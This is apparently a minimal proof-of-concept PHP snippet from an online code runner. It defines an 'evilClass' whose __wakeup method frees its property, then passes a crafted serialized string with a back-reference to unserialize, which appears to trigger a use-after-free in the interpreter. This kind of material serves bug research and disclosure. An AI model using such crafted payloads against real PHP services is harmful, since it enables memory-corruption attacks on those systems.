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<?php class evilClass { public $var; function __wakeup() { unset($this->var); // $this->var = 'ryat'; } } $data = unserialize('a:2:{i:0;O:9:"evilClass":1:{s:3:"var";a:1:{i:0;i:1;}}i:1;R:4;}');

preferences:
57.22 ms | 402 KiB | 5 Q